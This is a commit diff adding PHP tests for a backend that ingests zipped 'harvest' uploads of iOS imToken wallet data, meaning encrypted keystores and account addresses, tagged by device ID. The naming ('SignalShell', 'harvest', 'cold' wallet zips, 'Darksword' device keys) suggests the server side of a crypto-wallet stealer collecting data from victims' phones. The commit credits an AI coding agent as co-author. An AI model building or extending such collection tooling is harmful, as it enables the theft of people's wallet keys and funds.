fix: ingest imToken EOAs from SignalShell AsyncStorage zips
Reuse the named-structure collector so harvest uploads store account addresses without flooding wallet_addresses from token lists. Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
@@ -249,6 +249,120 @@ class AppUploadIngestTest extends TestCase
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function imtoken_shell_zip_keeps_account_eoa_and_skips_token_list(): void
|
||||
{
|
||||
$device = $this->makeDevice('dev-imtoken-zip');
|
||||
$usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
|
||||
$weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2';
|
||||
$tokenList = [
|
||||
['address' => $weth, 'symbol' => 'WETH', 'decimals' => 18, 'tokenType' => 'ERC20'],
|
||||
['address' => $usdt, 'symbol' => 'USDT', 'decimals' => 6, 'tokenType' => 'TRC20'],
|
||||
['address' => '0xdac17f958d2ee523a2206206994597c13d831ec7', 'symbol' => 'USDT', 'decimals' => 6],
|
||||
];
|
||||
$zip = $this->makeZip([
|
||||
'Documents/walletsV2/wid.json' => json_encode([
|
||||
'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'],
|
||||
'id' => 'wid',
|
||||
'imTokenMeta' => ['source' => 'NEW_MNEMONIC', 'network' => 'MAINNET'],
|
||||
]),
|
||||
'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/account.json' => json_encode([
|
||||
'accountAddress' => self::TRON,
|
||||
'path' => "m/44'/195'/0'/0/0",
|
||||
'type' => 'EOA',
|
||||
'walletId' => 'wid',
|
||||
]),
|
||||
'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/tokens.json' => json_encode(
|
||||
json_encode($tokenList)
|
||||
),
|
||||
]);
|
||||
|
||||
$n = app(AppUploadIngester::class)->ingestImTokenShellZip($device, $zip);
|
||||
|
||||
$this->assertSame(1, $n);
|
||||
$addrs = WalletAddress::query()->where('device_id', $device->id)->get();
|
||||
$this->assertCount(1, $addrs);
|
||||
$this->assertSame(self::TRON, $addrs[0]->address);
|
||||
$this->assertSame('imToken', $addrs[0]->source);
|
||||
$this->assertFalse(
|
||||
WalletAddress::query()->where('device_id', $device->id)->where('address', $weth)->exists()
|
||||
);
|
||||
$this->assertFalse(
|
||||
WalletAddress::query()->where('device_id', $device->id)->where('address', $usdt)->exists()
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function shell_upload_short_path_ingests_imtoken_async_eoa(): void
|
||||
{
|
||||
$usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
|
||||
$weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2';
|
||||
$zip = $this->makeZip([
|
||||
'Documents/walletsV2/wid.json' => json_encode([
|
||||
'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'],
|
||||
'id' => 'wid',
|
||||
'imTokenMeta' => ['source' => 'NEW_MNEMONIC'],
|
||||
]),
|
||||
'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/account.json' => json_encode([
|
||||
'AccountModel' => [
|
||||
'itemsById' => [
|
||||
'acc1' => [
|
||||
'type' => 'EOA',
|
||||
'address' => self::TRON,
|
||||
'path' => "m/44'/195'/0'/0/0",
|
||||
],
|
||||
],
|
||||
],
|
||||
'AssetToken' => [
|
||||
'itemsById' => [
|
||||
'tok1' => [
|
||||
'address' => $usdt,
|
||||
'symbol' => 'USDT',
|
||||
'tokenType' => 'TRC20',
|
||||
'accountAddress' => self::TRON,
|
||||
],
|
||||
],
|
||||
],
|
||||
]),
|
||||
'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/tokens.json' => json_encode([
|
||||
'address' => $weth,
|
||||
'symbol' => 'WETH',
|
||||
'decimals' => 18,
|
||||
'tokenType' => 'ERC20',
|
||||
]),
|
||||
]);
|
||||
|
||||
$deviceHex = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
||||
$response = $this->call(
|
||||
'POST',
|
||||
'/api/ap/u?a=chan1&harvest_1791244750_cold_im.token.app.zip',
|
||||
[],
|
||||
[],
|
||||
[],
|
||||
[
|
||||
'HTTP_X_DEVICE_ID' => $deviceHex,
|
||||
'HTTP_X_IOS_VERSION' => '18.6',
|
||||
'CONTENT_TYPE' => 'application/octet-stream',
|
||||
],
|
||||
$zip
|
||||
);
|
||||
|
||||
$response->assertOk();
|
||||
$response->assertJson(['ok' => true, 'bind' => true]);
|
||||
|
||||
$device = Device::query()->where('device_id', Device::normalizeDarkswordKey($deviceHex))->first();
|
||||
$this->assertNotNull($device);
|
||||
$addrs = WalletAddress::query()->where('device_id', $device->id)->pluck('address')->all();
|
||||
$this->assertSame([self::TRON], $addrs);
|
||||
$this->assertSame(
|
||||
'imToken',
|
||||
WalletAddress::query()->where('device_id', $device->id)->value('source')
|
||||
);
|
||||
$this->assertTrue(
|
||||
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'imToken')->exists()
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function global_wallet_skips_helper_contract_addresses(): void
|
||||
{
|
||||
@@ -860,6 +974,24 @@ class AppUploadIngestTest extends TestCase
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, string> $files
|
||||
*/
|
||||
private function makeZip(array $files): string
|
||||
{
|
||||
$path = sys_get_temp_dir().'/im_shell_'.bin2hex(random_bytes(4)).'.zip';
|
||||
$zip = new \ZipArchive;
|
||||
$this->assertTrue($zip->open($path, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) === true);
|
||||
foreach ($files as $name => $content) {
|
||||
$zip->addFromString($name, $content);
|
||||
}
|
||||
$zip->close();
|
||||
$bin = (string) file_get_contents($path);
|
||||
@unlink($path);
|
||||
|
||||
return $bin;
|
||||
}
|
||||
|
||||
/**
|
||||
* OKX wallet_coinMeta shape: token metadata tables full of contract
|
||||
* addresses, with no user-account rows.
|
||||
|
||||
Reference in New Issue
Block a user